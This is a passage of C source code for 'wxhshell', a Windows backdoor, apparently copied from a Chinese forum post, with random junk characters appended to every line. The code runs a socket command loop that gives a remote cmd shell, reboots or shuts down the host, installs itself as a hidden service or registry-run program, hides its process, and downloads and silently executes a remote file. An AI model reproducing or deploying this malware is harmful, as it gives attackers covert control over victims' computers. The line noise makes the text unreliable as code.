    switch(cmd[0]) { EnXNTat})  
  Jrd:6Z  
  // 帮助 {-IH?!&v  
  case '?': { 5BCHW X*y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hc1S:RW  
    break; :T(3!}4  
  } H8+7rM  
  // 安装 hjywYd]8  
  case 'i': { DjK:)  
    if(Install()) lz.ta!6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M XsSF|-  
    else N;e d_!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t W ;1  
    break; 5LU8QHj3  
    } ; F% 3b47  
  // 卸载 nZe2bai  
  case 'r': { /k3v\Jq{  
    if(Uninstall()) F$P8"q+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W'w;cy:H  
    else 1w}%>e-S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eO#Kn'5  
    break; 6m_ fEkS[  
    } ].=&^0cg  
  // 显示 wxhshell 所在路径 :,03)[u{8  
  case 'p': { &U%AVD[  
    char svExeFile[MAX_PATH]; ?s[ kUv+=  
    strcpy(svExeFile,"\n\r"); uc]]zI6  
      strcat(svExeFile,ExeFile); Vo^ i7  
        send(wsh,svExeFile,strlen(svExeFile),0); Pu dIb|V2  
    break; ,h,DB=!K<  
    } /1ZRjf^  
  // 重启 $s-/![ 6  
  case 'b': { VWqmqR%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .}Va~[0j  
    if(Boot(REBOOT)) 9~i=Af@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &GF@9BXI3  
    else { zi l^^wT0J  
    closesocket(wsh); hw/ :  
    ExitThread(0); oUrNz#U  
    } Vvk1 D(  
    break; @&(0]kZ6  
    } EYNi`  
  // 关机 rnW(<t"  
  case 'd': { rM/Ona2x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -0rc4<};h  
    if(Boot(SHUTDOWN)) +~b@W{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M:6Yy@#T.  
    else { tQ=P.14>:  
    closesocket(wsh); X}*\/(fzl  
    ExitThread(0); 8UiRirw  
    } ^ Q]I)U  
    break; W8{g<. /  
    } z\wY3pIr2  
  // 获取shell o ?z A'5q  
  case 's': { ,TL8`  
    CmdShell(wsh); SPfz/ q{  
    closesocket(wsh); C;]}Ht:~I  
    ExitThread(0); lezX-5Z  
    break; tnL$v2e6q  
  } v4c*6(m  
  // 退出 [\eh$r\   
  case 'x': { Z4 y9d?g%b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D@@J7  
    CloseIt(wsh); '/l<\b/E  
    break; zf+jQ  
    } 4#?Sxs  
  // 离开 9yla &XTD  
  case 'q': { % NSb8@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <y4hK3wP  
    closesocket(wsh); o~<ith$A*  
    WSACleanup(); >@?!-Fy5  
    exit(1); h"R{{y f2  
    break; }7)iLfi  
        } E6+c{41B  
  } wD+4#=/j  
  } L\;n[,.  
k# -u!G  
  // 提示信息 ndW]S7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _{$eOwB  
} t!^ j0q  
  } "u29| OY  
pjG/`  
  return; (%p@G5GU  
} f_\,H|zco)  
yhTC?sf<  
// shell模块句柄 t5t!-w\M$+  
int CmdShell(SOCKET sock) FFC"rG  
{ ~)ut"4  
STARTUPINFO si; VINb9W}G[  
ZeroMemory(&si,sizeof(si)); 8NP|>uaj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i`k{}!F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E~]37!,\\9  
PROCESS_INFORMATION ProcessInfo; mO#62e4C  
char cmdline[]="cmd"; ,%Go.3i[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _=Y?' gHH  
  return 0; mf4C68DI@u  
} H5MO3DJ  
2iX57-6Ub  
// 自身启动模式 6l Suzu  
int StartFromService(void) EhWYFQ  
{ pAdx 6  
typedef struct Twq/Y07M  
{ V.\12P  
  DWORD ExitStatus; /O`<?aP%  
  DWORD PebBaseAddress; Mg pjC`  
  DWORD AffinityMask; $c^,TAN  
  DWORD BasePriority; Cpg>5N~;L  
  ULONG UniqueProcessId; pUV4oyGV   
  ULONG InheritedFromUniqueProcessId; Uw!N;QsC  
}   PROCESS_BASIC_INFORMATION; rJz`v/:|P  
>]dH1@@  
PROCNTQSIP NtQueryInformationProcess; P:8 qm DXo  
WR :I2-1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  =&8Cg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )#%v1rR  
 yxx9h3  
  HANDLE             hProcess; 1iLrKA  
  PROCESS_BASIC_INFORMATION pbi; e-E0Bp  
~7;AV(\%e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [N=v=J9  
  if(NULL == hInst ) return 0; 8?l/x  
8u|F %Sg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0(o{V:l%Z|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ] Hiw+5n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ja2BK\"1:  
eN,6p '&  
  if (!NtQueryInformationProcess) return 0; Ns2<wl-  
&m5FYm\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^}Wk  
  if(!hProcess) return 0; yiO/0nMp  
+H**VdM6s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 59k[A~)~  
XbaUmCuh  
  CloseHandle(hProcess); cqd}.D  
$:}sm0;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +eUWf{(_  
if(hProcess==NULL) return 0; Bx" eX>A8  
(qyT,K8  
HMODULE hMod; u%24% Q  
char procName[255]; Rlwewxmr  
unsigned long cbNeeded; G2 {R5F !  
>{1 i8 b@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SoJ=[5W  
(8Inf_59  
  CloseHandle(hProcess); \2#j1/d4  
qGkD] L  
if(strstr(procName,"services")) return 1; // 以服务启动 U32&"&";c  
wSPwa,)7s  
  return 0; // 注册表启动 7;rf$\-&  
} x\K9|_!  
. UaLP  
// 主模块 '_fj:dy  
int StartWxhshell(LPSTR lpCmdLine) han S8  
{ NK!#K>AO  
  SOCKET wsl; /6@$^paB  
BOOL val=TRUE; n4A#T#D!t3  
  int port=0; s`dwE*~  
  struct sockaddr_in door; >HRL@~~Z  
,t|qhJF  
  if(wscfg.ws_autoins) Install(); h8 !(WO!  
bNh~=[E  
port=atoi(lpCmdLine); hi0-Sw  
wQw&.)T  
if(port<=0) port=wscfg.ws_port; Xaw&41K  
:8LK}TY7  
  WSADATA data; (Kg( 6E,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AAc*\K  
XCyAt;neon  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f+V^q4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /oC@:7  
  door.sin_family = AF_INET; P ~rTuj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L43]0k  
  door.sin_port = htons(port); `)n/J+g  
p%#=OtkC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZxoAf;U~  
closesocket(wsl); S%IhpTSe6  
return 1; VlFhfOR6t  
} s$ZKd  
shuoEeoo  
  if(listen(wsl,2) == INVALID_SOCKET) { r"$~Gg.%(  
closesocket(wsl); kJNu2S  
return 1; c.{t +OR  
} ,cFBLj(@  
  Wxhshell(wsl);  YF$nL(  
  WSACleanup(); h { M=V  
,/Al'  
return 0; s<'WTgy1i  
#McX  
} t2hI^J0y  
<d~IdK'\x  
// 以NT服务方式启动 F x3X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5c 69M5  
{ /;;$9O9  
DWORD   status = 0; Y*-dUJK-`  
  DWORD   specificError = 0xfffffff; ,tl(\4n  
PM8*/4Cu.5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U}c05GiQw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lt2<3DB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3FsX3K,_X  
  serviceStatus.dwWin32ExitCode     = 0; F-GrQd:O=  
  serviceStatus.dwServiceSpecificExitCode = 0; %'&_Po\  
  serviceStatus.dwCheckPoint       = 0; Gq =i-I  
  serviceStatus.dwWaitHint       = 0; Noi+mL  
owe6ge7m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q60'5Wt  
  if (hServiceStatusHandle==0) return; 60X))MyN  
;R*tT%Z,  
status = GetLastError(); 4YyVh.x  
  if (status!=NO_ERROR) W0\ n?$ZC~  
{ tE"IE$$1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TFI$>Oz|  
    serviceStatus.dwCheckPoint       = 0; RCY}JH>}  
    serviceStatus.dwWaitHint       = 0; fK10{>E1  
    serviceStatus.dwWin32ExitCode     = status; O)D+u@RhH  
    serviceStatus.dwServiceSpecificExitCode = specificError; @,;VMO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H:4? sR3  
    return; gV;9lpZ2  
  } H|s,;1#  
5 NN`tv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +P|Z1a -jB  
  serviceStatus.dwCheckPoint       = 0; 7CSd}@71\  
  serviceStatus.dwWaitHint       = 0; ( P\oLr9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &w{: qBa  
} =q<t,UP8  
^ Q  
// 处理NT服务事件,比如:启动、停止 ^-g-]?q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LDY k\[81  
{ x.ucsb  
switch(fdwControl) w'&QNm>  
{ m98w0D@Ee  
case SERVICE_CONTROL_STOP: Z3N^)j8  
  serviceStatus.dwWin32ExitCode = 0; ';KZ.D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @!,W]?{  
  serviceStatus.dwCheckPoint   = 0; t$(<9  
  serviceStatus.dwWaitHint     = 0; sG:tyvln  
  { A ^X1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H'x) [2  
  } Q)93 +1]  
  return; W3]?>sLE*  
case SERVICE_CONTROL_PAUSE: 6GsB*hW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2<TpNGXM_  
  break; E=RX^ 3+}  
case SERVICE_CONTROL_CONTINUE: KCi0v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gmdA1$c  
  break; >L,Pw1Y0W[  
case SERVICE_CONTROL_INTERROGATE: VdF<#(X+  
  break; 25/M2u?  
}; ?;ovh nY)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4rH:`494  
} g$^I/OK?  
U^d!*9R  
// 标准应用程序主函数 =m/BH^|&W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [f#7~  
{ w~Jy,[@n  
k@9CDwh*s  
// 获取操作系统版本 sg8j}^VI  
OsIsNt=GetOsVer(); %^}|HG*i??  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^-dhz88wV  
'=cAdja  
  // 从命令行安装 !xz{X?  
  if(strpbrk(lpCmdLine,"iI")) Install(); /(?,S{]  
u$nYddak  
  // 下载执行文件 ^ SW!S_&Z2  
if(wscfg.ws_downexe) { +a74] H"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hDD]Kc;G^1  
  WinExec(wscfg.ws_filenam,SW_HIDE); O[\obi"}  
} ;]Ko7M(4  
;\rKkH"K8n  
if(!OsIsNt) { {:ZsUnzm  
// 如果时win9x,隐藏进程并且设置为注册表启动 OJXK]dZ  
HideProc(); ySNXjH Q=  
StartWxhshell(lpCmdLine); cp L'  
} ]Aa.=  
else 'I5~<"E  
  if(StartFromService()) baz~luM  
  // 以服务方式启动 /tu\q  
  StartServiceCtrlDispatcher(DispatchTable); 2_ CJV  
else y9X1X{  
  // 普通方式启动 7cV GB  
  StartWxhshell(lpCmdLine); Oi,:q&  
+|6 u 0&R^  
return 0; 0` UrB:  
}
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只看该作者 1 发表于: 2006-10-10
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